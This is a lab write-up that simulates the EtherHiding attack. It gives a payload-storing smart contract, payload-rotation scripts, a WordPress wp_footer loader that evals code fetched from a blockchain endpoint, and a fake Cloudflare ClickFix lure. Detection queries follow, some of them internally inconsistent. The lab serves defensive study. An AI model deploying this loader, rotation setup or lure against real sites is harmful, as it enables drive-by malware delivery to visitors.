What is EtherHiding ?

EtherHiding is a technique first documented by Guardio Labs in 2023 where attackers store malicious JavaScript payloads inside a blockchain smart contract instead of on a traditional attacker-controlled server. A compromised WordPress site injects a small loader into every page via the wp_footer hook. When a victim visits the page, their browser silently fetches the current payload from the blockchain via a JSON-RPC eth_call, then executes it with eval().

The key advantage for the attacker is resilience. A traditional C2 domain can be taken down or blocklisted within hours. A smart contract deployed on the Binance Smart Chain (BSC) cannot be removed by any third party, including Binance itself. The attacker only needs to call setPayload() to rotate their C2 domain or update their lure template — all compromised WordPress sites update simultaneously without the attacker ever touching them again.

The full attack chain from the victim's perspective looks like this:

 1. Victim visits a legitimate but compromised WordPress site
 2. Browser loads the page — wp_footer fires the injected loader
 3. Loader makes a POST request to a BSC RPC endpoint via eth_call
 4. Smart contract returns the current malicious payload (ABI-encoded string)
 5. Loader decodes the ABI response and calls eval(payload)
 6. Browser renders a fake Cloudflare Turnstile CAPTCHA (ClickFix lure)
 7. Victim clicks the checkbox — clipboard is poisoned with a malicious PowerShell command
 8. Victim follows Win+R instructions — malware executes on the host

Tools Used in the Simulation: Remix, Alchemy and Sepolia

The lab relies on three pieces of tooling that play very different roles. None of them is part of the chain the victim sees: they are used to build the smart contract and to publish it on a blockchain.

Remix (remix.ethereum.org) is the editor and compiler. It is a browser IDE in which the Solidity contract is written and compiled. The compiler produces two outputs: the ABI (the description of the contract's functions, used by ethers.js to build the calls) and the bytecode (the machine code stored on-chain at the contract address). Remix is only needed at build time: once the contract is deployed, nothing talks to Remix anymore.

Alchemy (alchemy.com) is the node provider. Reading from or writing to a blockchain means talking to a node, and running one yourself requires a lot of storage and a long synchronisation. Alchemy runs the nodes and exposes them as an HTTPS JSON-RPC endpoint of the form https://eth-sepolia.g.alchemy.com/v2/<API_KEY>. deploy.js and update.js send their signed transactions (eth_sendRawTransaction) through this endpoint, and the simulated loader sends eth_call through it to read getPayload(). The API key identifies the account on Alchemy: it is not a wallet and it cannot spend anything. In the real attack the loader uses a free public BSC endpoint (bsc-dataseed.binance.org) that needs neither an account nor a key.

Sepolia is the Ethereum test network on which the contract lives. It behaves like Mainnet (same EVM, same transactions, same gas mechanics) but its ETH has no value and comes from faucets. Only the RPC URL changes between the lab and a real BSC campaign: the contract, the ABI, the function selectors and the eth_call are identical.

How the pieces fit together:

Remix: write and compile UpdateableHello.sol → ABI + bytecode
  ↓
deploy.js: signs the deployment transaction with the wallet private key
  ↓
Alchemy endpoint: forwards the transaction to Sepolia
  ↓
Sepolia: stores the bytecode at a new contract address
  ↓
update.js (setPayload) and the loader (eth_call getPayload) reach the same address through Alchemy
Where each item needed by deploy.js comes from:

 Alchemy key: Alchemy dashboard (see How to Get an Alchemy API Key below)
 Private key: the test wallet created with the Node.js one-liner in the deployment section. Use a test wallet only, never a wallet that holds real funds
 ABI and bytecode: Remix compiler panel (see How to Use Remix below)

The Smart Contract

The smart contract is the core of the technique. It stores the malicious payload as a state variable on the blockchain. Unlike a hardcoded return value in bytecode, a state variable can be updated by calling setPayload() without redeploying the contract — the contract address never changes, only the stored value does.

The contract is written in Solidity and compiled using Remix IDE at remix.ethereum.org. For the simulation we deploy to the Sepolia testnet rather than BSC Mainnet — functionally identical but using worthless test ETH.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract UpdateableHello {
 string public payload;
 address public owner;

 constructor() {
  owner = msg.sender;
  payload = "Hello World v1";
 }

 function setPayload(string memory _payload) public {
  require(msg.sender == owner, "Not authorized");
  payload = _payload;
 }

 function getPayload() public view returns (string memory) {
  return payload;
 }
}
The require(msg.sender == owner) check ensures only the deployer wallet can call setPayload(). Anyone can call getPayload() — which is exactly what the WordPress loader does from the victim's browser.

Key distinction between the two functions:

 getPayload() is a view function — it reads state, costs no gas, and is called via eth_call. No signing required. Any anonymous HTTP client can call it.
 setPayload() is a state-changing function — it writes to the blockchain. It requires a signed transaction (eth_sendRawTransaction), costs gas, and requires the deployer's private key.

Once compiled in Remix, the ABI and the bytecode are copied into deploy.js. The exact steps are described in the Remix section below.

How to Use Remix

 Step 1: open remix.ethereum.org in a browser. Nothing has to be installed. During this lab Remix asked for an account before the compiler could be used (older tutorials describe it as account-free). The Remix account is separate from the wallet and from the Alchemy account.
 Step 2: in the Files panel (left sidebar) create a file named UpdateableHello.sol and paste the contract from the previous section.
 Step 3: open the Solidity Compiler tab (the Compile icon in the left sidebar), choose a compiler version that fits the pragma line (0.8.20 or newer for ^0.8.20) and click Compile. A green check on the Compile icon means the compilation succeeded. Warnings can be ignored for this lab.
 Step 4: under CONTRACT, check that UpdateableHello is selected. This matters when a file contains several contracts.
 Step 5: at the bottom of the left panel, click ABI to copy the ABI and paste it in the ABI constant of deploy.js. The copy from Remix has five entries: the constructor, getPayload, setPayload, owner and payload. owner and payload appear because Solidity generates an automatic getter for every public state variable. A shorter ABI that only lists the entries the script uses also works.
 Step 6: click Bytecode (or open Compilation Details) to get the bytecode. If the copied text is a JSON block, the value needed is the object field, a long hex string starting with 6080.... Put the 0x prefix in front of it in deploy.js:

const BYTECODE = "0x6080...";

Remix can also deploy a contract from its Deploy tab, but this lab does not use it:

 The Remix VM environments run inside the browser only. A contract deployed there cannot be reached through Alchemy.
 Injected Provider needs a wallet extension such as MetaMask.
 Custom - External HTTP Provider can point Remix at the Alchemy Sepolia URL, but Remix then has no private key to sign with and the deployment fails with a gas estimation error.

The deployment is therefore done by deploy.js, which signs the transaction locally and sends it through the Alchemy endpoint. Every time the .sol file changes, compile again and copy the new ABI and bytecode: new bytecode deployed means a new contract address.

How to Get an Alchemy API Key

 Step 1: go to alchemy.com and create a free account. The free plan is enough for this lab.
 Step 2: in the dashboard, create an app (or open Node RPCs) and select the network Ethereum Sepolia. Do not pick Ethereum Mainnet: Sepolia is the test network and has no real value.
 Step 3: copy the API key. The dashboard shows it masked, click the eye icon to reveal it and the Copy button to copy it.
 Step 4: the endpoint is built from the network and the key:

https://eth-sepolia.g.alchemy.com/v2/<YOUR_API_KEY>

 Step 5: test the key with a read-only request:

curl https://eth-sepolia.g.alchemy.com/v2/<YOUR_API_KEY> \
 -X POST -H "Content-Type: application/json" \
 -d '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}'

A JSON answer with a hex result (the latest block number) means the key and the network work. Replace eth_blockNumber by eth_chainId and the result should be 0xaa36a7, which is 11155111 in decimal, the chain id of Sepolia.

 Step 6: paste the key in ALCHEMY_KEY of deploy.js and update.js, and in RPC_URL of the loader.

Things to know:

 The error ETH_MAINNET is not enabled for this app means the URL points to eth-mainnet while the app only has Sepolia enabled. Use the eth-sepolia URL.
 The same contract address does not exist on both networks: a contract deployed on Sepolia returns an empty 0x when queried through the Mainnet endpoint.
 Alchemy does not provide test ETH. The wallet needs Sepolia ETH to pay the gas of the deployment and of each setPayload() call. Some faucets (Alchemy and QuickNode at the time of the lab) refuse a fresh wallet with the message that a small Mainnet balance is required. The Google Cloud Sepolia faucet worked with a newly created wallet.
 The API key is tied to the account quota. In the lab the loader runs in the browser, so the key is readable in the page source: use a throwaway free key and keep it out of public repositories.

Deploying the Contract (deploy.js)

The contract is deployed using Node.js and the ethers.js library. Remix's built-in deployment requires a browser wallet extension (MetaMask), which may not always be available. Using a Node.js script with a raw private key bypasses this dependency entirely.

First, generate a test wallet and fund it with free Sepolia ETH from Google Cloud Faucet:

node -e "const {ethers}=require('ethers'); const w=ethers.Wallet.createRandom(); console.log('Address:',w.address,'\nKey:',w.privateKey)"
Then create deploy.js:
const { ethers } = require("ethers");

const ALCHEMY_KEY = "YOUR_ALCHEMY_API_KEY";
const PRIVATE_KEY = "0xYourPrivateKey";
const BYTECODE = "0x608060..."; // from Remix: compiler panel → Bytecode (object field, with the 0x prefix)

// ABI: copied from Remix (compiler panel → ABI). Trimmed here to the entries the lab uses
const ABI = [
 { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" },
 { "inputs": [], "name": "getPayload", "outputs": [{ "internalType": "string", "name": "", "type": "string" }], "stateMutability": "view", "type": "function" },
 { "inputs": [{ "internalType": "string", "name": "_payload", "type": "string" }], "name": "setPayload", "outputs": [], "stateMutability": "nonpayable", "type": "function" },
 { "inputs": [], "name": "owner", "outputs": [{ "internalType": "address", "name": "", "type": "address" }], "stateMutability": "view", "type": "function" }
];

async function main() {
 const provider = new ethers.JsonRpcProvider(
  `https://eth-sepolia.g.alchemy.com/v2/${ALCHEMY_KEY}`
 );
 const wallet = new ethers.Wallet(PRIVATE_KEY, provider);
 console.log("Deploying from:", wallet.address);

 const balance = await provider.getBalance(wallet.address);
 console.log("Balance:", ethers.formatEther(balance), "ETH");

 const factory = new ethers.ContractFactory(ABI, BYTECODE, wallet);
 const contract = await factory.deploy();
 console.log("Deploying... tx:", contract.deploymentTransaction().hash);
 await contract.waitForDeployment();

 const address = await contract.getAddress();
 console.log("Deployed at:", address);

 const result = await contract.getPayload();
 console.log("getPayload():", result);
}

main().catch(console.error);
Run with:
npm init -y
npm install ethers
node deploy.js
The output will show the deployed contract address. This address is permanent on Sepolia — save it for all subsequent steps.

Note: deploy.js calls eth_sendRawTransaction under the hood — a real signed transaction that costs Sepolia ETH (worthless test currency). The private key signs the transaction locally; only the signed bytes are broadcast to the network. The key itself never leaves your machine.

Contract Address, Wallet Address and Etherscan

Two different addresses are involved and they are easy to confuse:

 The wallet address comes from the generated wallet. It is the identity that holds the Sepolia ETH, pays the gas and signs the transactions. Nothing is deployed at this address.
 The contract address is printed by deploy.js after the deployment. It is where the bytecode is stored, and it is the value used in the to field of eth_call and in CONTRACT_ADDRESS of the loader.

Putting the wallet address in the to field is a common mistake: the call succeeds but returns an empty 0x, because a wallet has no code to execute.

Every deployment creates a new contract and therefore a new address, derived from the deployer address and its transaction count (nonce). The bytecode stays permanently at that address:

HelloWorld.sol → compile in Remix → bytecode A → deployed at 0xAaa...
HelloWorld2.sol → compile in Remix → bytecode B → deployed at 0xBbb...
TokenContract.sol → compile in Remix → bytecode C → deployed at 0xCcc...
The same wallet deploying the same bytecode twice also gives two different addresses. This is why an EtherHiding operator deploys once and then only calls setPayload(): that call changes the stored value, not the bytecode and not the address.

The contract and its history can be checked on Etherscan (BSCScan for BSC):
https://sepolia.etherscan.io/address/0xYourContractAddress
 The Contract tab shows the bytecode stored at the address.
 The Transactions tab shows the contract creation transaction. Its From field is the deployer wallet.
 From the wallet address, every other contract and transaction of the same operator can be listed.

A contract is verified when its Solidity source is published on Etherscan (Verify and Publish, with the exact compiler version and optimization settings) and recompiles to the same bytecode. A verified contract shows its source and gets a Read Contract tab. An unverified contract only exposes raw bytecode: for a contract that stores data or receives funds this is highly suspicious, and malicious contracts are usually left unverified so that their logic is not readable.

Rotating the Payload (update.js)

Once deployed, the contract address never changes. The attacker updates the payload by calling setPayload() — this is a state-changing transaction that permanently updates the stored string on-chain. Every compromised WordPress loader automatically serves the new payload on the next page visit.

update.js reads the payload from a file to avoid one-liner limitations on complex HTML/JS content:

const { ethers } = require("ethers");
const fs = require("fs");

const ALCHEMY_KEY = "YOUR_ALCHEMY_API_KEY";
const PRIVATE_KEY = "0xYourPrivateKey";

const ABI = [
 "function setPayload(string memory _payload) public",
 "function getPayload() public view returns (string memory)"
];

async function updatePayload(contractAddress, newPayload) {
 const provider = new ethers.JsonRpcProvider(
  `https://eth-sepolia.g.alchemy.com/v2/${ALCHEMY_KEY}`
 );
 const wallet = new ethers.Wallet(PRIVATE_KEY, provider);
 const contract = new ethers.Contract(contractAddress, ABI, wallet);

 const before = await contract.getPayload();
 console.log("Current payload:", before);

 const tx = await contract.setPayload(newPayload);
 console.log("Transaction sent:", tx.hash);
 await tx.wait();
 console.log("Updated");

 const after = await contract.getPayload();
 console.log("New payload:", after);
}

const contractAddress = process.argv[2];
let newPayload;

if (process.argv[3] && process.argv[3].startsWith("file:")) {
 const filePath = process.argv[3].replace("file:", "");
 newPayload = fs.readFileSync(filePath, "utf8").trim();
} else {
 newPayload = process.argv[3];
}

if (!contractAddress || !newPayload) {
 console.error("Usage: node update.js <address> <payload>");
 console.error(" node update.js <address> file:payload.js");
 process.exit(1);
}

updatePayload(contractAddress, newPayload).catch(console.error);
To simulate C2 domain rotation, update the payload between visits:
node update.js 0xYourContract file:payload_v1.js  # ClickFix lure v1
node update.js 0xYourContract file:payload_v2.js  # Rotate to new lure
node update.js 0xYourContract file:payload_v3.js  # Rotate again
Each update is visible on Sepolia Etherscan as a separate setPayload() transaction. The input data field of each transaction, viewed as UTF-8, shows the payload in plaintext — exactly what analysts see when investigating EtherHiding on BSCScan.

WordPress wp_footer Injection

The wp_footer hook is an action hook in WordPress's core rendering lifecycle. It fires on every page, on every request, right before the closing </body> tag. Any callback registered to it renders its output into every page of the site automatically — which is why attackers target it. One injection point reaches every visitor.

In a real compromise, the attacker gains write access to functions.php via one of several paths: stolen wp-admin credentials and the Theme File Editor, a vulnerable plugin CVE granting remote code execution, FTP/SFTP credential compromise, or SQL injection directly into the wp_options database table. For this simulation we use a Docker-hosted WordPress instance and edit functions.php directly.

First, identify the active theme:

docker exec -it <container_name> wp theme list --allow-root --status=active
Without access to the server, the active theme is also visible in the page source of the site:
curl http://localhost:8080 | grep 'wp-content/themes'
Before adding the full loader, confirm that the hook fires with a minimal callback. The text test must appear at the bottom of the page:
add_action('wp_footer', 'test');

function test() {
 echo "test";
}
If nothing appears:

 The theme's footer.php must call wp_footer(). Some themes do not, and the hook never fires.
 The edited functions.php must belong to the active theme. Editing an inactive theme has no effect.
 If DISALLOW_FILE_EDIT is set to true in wp-config.php, the Theme File Editor is not available. Edit the file directly in the container instead.
 A PHP syntax error in functions.php (a missing ; or }) breaks the whole site, so keep the edits small.

Then add the following to the active theme's functions.php via Appearance → Theme File Editor → functions.php in wp-admin:
add_action('wp_footer', 'etherhiding_loader');

function etherhiding_loader() {
?>
<div id="status" style="position:fixed;bottom:10px;right:10px;background:#333;color:#fff;padding:10px;font-size:12px;z-index:9999;display:block;"></div>
<script>
(function() {
 var CONTRACT_ADDRESS = "0xYourDeployedContractAddress";
 var RPC_URL = "https://eth-sepolia.g.alchemy.com/v2/YOUR_API_KEY";
 var SELECTOR = "0x????????"; // keccak256("getPayload()") first 4 bytes

 var status = document.getElementById("status");
 status.textContent = "Fetching from blockchain...";

 function decodeABIString(hexResult) {
  var hex = hexResult.slice(2);
  var length = parseInt(hex.slice(64, 128), 16);
  var strHex = hex.slice(128, 128 + length * 2);
  var bytes = strHex.match(/.{2}/g).map(function(b) {
   return parseInt(b, 16);
  });
  return String.fromCharCode.apply(null, bytes);
 }

 fetch(RPC_URL, {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
   jsonrpc: "2.0",
   method: "eth_call",
   params: [{ to: CONTRACT_ADDRESS, data: SELECTOR }, "latest"],
   id: 1
  })
 })
 .then(function(r) { return r.json(); })
 .then(function(data) {
  var payload = decodeABIString(data.result);
  status.textContent = "Payload received: " + payload;
  console.log("[SIMULATION] Payload:", payload);
  setTimeout(function() {
   eval(payload);
  }, 2000);
 })
 .catch(function(err) {
  status.textContent = "Error: " + err.message;
  console.error("[SIMULATION] Fetch failed:", err);
 });
})();
</script>
<?php
}
To get the getPayload() function selector, run:
node -e "const {ethers}=require('ethers'); console.log(ethers.id('getPayload()').slice(0,10))"
The function selector is the first 4 bytes of the keccak256 hash of the function signature string. It is deterministic — the same selector will be produced on any machine, for any contract, on any network, forever. This is how the EVM's function dispatcher identifies which function to execute when a contract call arrives.

The ClickFix Lure Payload

The payload stored in the smart contract is a JavaScript string that gets passed directly to eval(). It uses document.body.innerHTML to replace the entire page with a fake Cloudflare Turnstile CAPTCHA — the ClickFix lure.

Note: script tags injected via innerHTML do not execute — this is a browser security feature. The payload must be pure JavaScript executed via eval(), not HTML containing <script> tags.

Create payload.js:

document.body.innerHTML = `
 <style>
 *{box-sizing:border-box;margin:0;padding:0}
 body{font-family:Arial,sans-serif;background:#f6f6ef;min-height:100vh;
  display:flex;flex-direction:column}
 .cf-nav{background:#fff;border-bottom:1px solid #e5e7eb;padding:12px 24px;
  display:flex;align-items:center}
 .cf-nav span{font-size:15px;font-weight:600;color:#1d1d1b}
 .content{flex:1;display:flex;align-items:center;justify-content:center;padding:40px 20px}
 .box{background:#fff;border:1px solid #e5e7eb;border-radius:8px;
  padding:36px 40px;max-width:420px;width:100%;text-align:center}
 .box h1{font-size:20px;font-weight:600;color:#1d1d1b;margin-bottom:8px}
 .box p{font-size:14px;color:#6b7280;margin-bottom:24px;line-height:1.6}
 .turnstile{border:1px solid #e5e7eb;border-radius:4px;padding:14px 16px;
  display:flex;align-items:center;gap:12px;margin-bottom:20px;
  background:#fafafa;cursor:pointer}
 .checkbox{width:24px;height:24px;border:2px solid #d1d5db;
  border-radius:4px;background:#fff;flex-shrink:0}
 .verify-btn{width:100%;padding:12px;background:#f97316;color:#fff;
  border:none;border-radius:4px;font-size:15px;font-weight:600;
  cursor:pointer;margin-bottom:16px;display:none}
 .instructions{background:#fff8f1;border:1px solid #fed7aa;
  border-radius:4px;padding:16px;text-align:left;display:none}
 .instructions p{font-size:13px;color:#92400e;font-weight:600;margin-bottom:10px}
 .step{display:flex;align-items:center;gap:10px;margin-bottom:8px;font-size:13px;color:#1d1d1b}
 .step-num{width:22px;height:22px;border-radius:50%;background:#f97316;color:#fff;
  font-size:11px;font-weight:700;display:flex;align-items:center;justify-content:center}
 kbd{background:#f3f4f6;border:1px solid #d1d5db;border-radius:3px;
  padding:1px 6px;font-size:12px;font-family:monospace}
 </style>
 <div class="cf-nav"><span>Cloudflare</span></div>
 <div class="content"><div class="box">
 <h1>Verify you are human</h1>
 <p>This site is protected by Cloudflare. Complete the security challenge to continue.</p>
 <div class="turnstile" onclick="verifyHuman()">
 <div class="checkbox" id="cf-cb"></div>
 <div style="flex:1;text-align:left;font-size:14px;color:#1d1d1b">I am human</div>
 <span style="font-size:11px;color:#9ca3af">Cloudflare</span>
 </div>
 <button class="verify-btn" id="cf-btn" onclick="showSteps()">Verify</button>
 <div class="instructions" id="cf-steps">
 <p>Verification step 2 — Complete the security check:</p>
 <div class="step"><div class="step-num">1</div><span>Press Win + R</span></div>
 <div class="step"><div class="step-num">2</div><span>Press Ctrl + V</span></div>
 <div class="step"><div class="step-num">3</div><span>Press Enter</span></div>
 </div>
 </div></div>
`;

// Attach event handlers after innerHTML is set
window.verifyHuman = function() {
 var cb = document.getElementById('cf-cb');
 cb.style.background = '#00b264';
 cb.style.borderColor = '#00b264';
 navigator.clipboard.writeText('SIMULATION_PAYLOAD_NOT_MALICIOUS');
 setTimeout(function() {
  document.getElementById('cf-btn').style.display = 'block';
 }, 600);
};

window.showSteps = function() {
 document.getElementById('cf-btn').style.display = 'none';
 document.getElementById('cf-steps').style.display = 'block';
};
Deploy the payload to the contract:
node update.js 0xYourContractAddress file:payload.js

ABI Decoding the Response

The raw response from eth_call is an ABI-encoded hex string. Ethereum's ABI encoding for a string type always follows a three-chunk structure of 32 bytes (64 hex characters) each:

 Chunk 1 (bytes 0-63): offset pointer — always 0x20 (32) for a single string return, indicating where the string data starts
 Chunk 2 (bytes 64-127): string length in bytes, as a hex integer
 Chunk 3 (bytes 128+): the actual UTF-8 bytes of the string, zero-padded to the next 32-byte boundary

0x
0000000000000000000000000000000000000000000000000000000000000020  // chunk 1: offset = 32
000000000000000000000000000000000000000000000000000000000000000e  // chunk 2: length = 14
48656c6c6f20576f726c642076310000000000000000000000000000000000  // chunk 3: "Hello World v1"
The JavaScript decoder in the loader:
function decodeABIString(hexResult) {
 var hex = hexResult.slice(2);         // remove 0x prefix
 var length = parseInt(hex.slice(64, 128), 16);  // chunk 2: string length
 var strHex = hex.slice(128, 128 + length * 2);  // chunk 3: string bytes
 var bytes = strHex.match(/.{2}/g).map(function(b) {
  return parseInt(b, 16);           // hex pair to byte value
 });
 return String.fromCharCode.apply(null, bytes);  // bytes to string
}

Proxy Log Analysis

When a victim visits the compromised WordPress page, three distinct log entries appear in the proxy — chained by the same source IP and Referer header:

 Request 1 — GET to the WordPress page (normal page load)
 Request 2 — POST to the Alchemy/RPC endpoint (eth_call fetching the payload)
 Request 3 — GET to google.com (eval() executes the redirect payload)

Request 2 is the detection signal. With SSL inspection enabled on Zscaler or a similar proxy, the POST body is visible and contains the full JSON-RPC payload:

POST https://eth-sepolia.g.alchemy.com/v2/YOUR_API_KEY
Content-Type: application/json
Referer: http://your-wordpress-site/

{
 "jsonrpc": "2.0",
 "method": "eth_call",
 "params": [{
  "to": "0xYourContractAddress",
  "data": "0x????????"
 }, "latest"],
 "id": 1
}
A browser making a POST request to a blockchain RPC endpoint from a WordPress page is highly anomalous in a corporate environment. No legitimate WordPress site has any reason to call Ethereum JSON-RPC endpoints.

Detection

The following detection strategies are ordered from highest to lowest confidence.

Network layer — POST to blockchain RPC endpoint from browser
The most reliable signal: a browser process making a POST request to a known blockchain RPC provider domain. Legitimate users do not browse to WordPress sites that call Ethereum nodes.

index=proxy
| where dest_domain IN (
 "eth-sepolia.g.alchemy.com",
 "eth-mainnet.g.alchemy.com",
 "bsc-dataseed.binance.org",
 "bsc-dataseed1.binance.org",
 "mainnet.infura.io",
 "rpc.ankr.com"
)
| where request_method="POST"
| where cs_referer LIKE "%wp-content%" OR cs_referer LIKE "%wordpress%"
| table _time, src_ip, src_user, dest_domain, cs_referer, request_body
Payload layer — eth_call method in POST body (requires SSL inspection)
index=proxy
| where request_method="POST"
| where match(request_body, "\"method\":\"eth_call\"")
| where NOT src_process IN ("known_dev_tools")
| table _time, src_ip, src_user, dest_domain, request_body
CrowdStrike — browser process making outbound connection to RPC domain
event_simpleName=DnsRequest
| where DomainName IN (
 "bsc-dataseed.binance.org",
 "eth-mainnet.g.alchemy.com",
 "mainnet.infura.io"
)
| where ImageFileName NOT IN (
 "node.exe","chrome.exe","firefox.exe","brave.exe"
)
| table timestamp, ComputerName, UserName, ImageFileName, DomainName
WordPress file integrity — functions.php modification
event_simpleName=FileCreate
| where TargetFileName LIKE "%functions.php%"
| where TargetFileName LIKE "%wp-content%themes%"
| where ImageFileName NOT IN (known_deploy_tools)
| table timestamp, ComputerName, ImageFileName, TargetFileName
Database content — wp_options injection (no file system footprint)
SELECT option_name, option_value
FROM wp_options
WHERE option_value REGEXP 'eval\(|atob\(|eth_call|fromCharCode|<script'
AND option_name IN ('widget_text','widget_custom_html')
OR option_name LIKE 'theme_mods_%';

MITRE ATT&CK Mapping

 T1102.001 — Web Service: Dead Drop Resolver (blockchain as resolver)
 T1059.007 — Command and Scripting Interpreter: JavaScript (eval() execution)
 T1505.003 — Server Software Component: Web Shell (wp_footer injection)
 T1566.002 — Phishing: Spearphishing Link (ClickFix lure delivery)
 T1204.001 — User Execution: Malicious Link (victim pastes clipboard command)
 T1059.001 — Command and Scripting Interpreter: PowerShell (clipboard payload execution)

References

 The Hacker News — Binance's Smart Chain Exploited in New 'EtherHiding' Malware Campaign (Guardio Labs research, Oct 2023)
 Dark Reading — 'Etherhiding' Blockchain Technique Masks Malicious Code in WordPress Sites
 Proofpoint — Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape
 Proofpoint — From Clipboard to Compromise: A PowerShell Self-Pwn
 MITRE ATT&CK T1102.001 — Dead Drop Resolver
 Sepolia Etherscan — testnet explorer
 Remix IDE — Solidity browser compiler
 Alchemy — Ethereum node provider (JSON-RPC endpoint and API key)
 Google Cloud — Sepolia faucet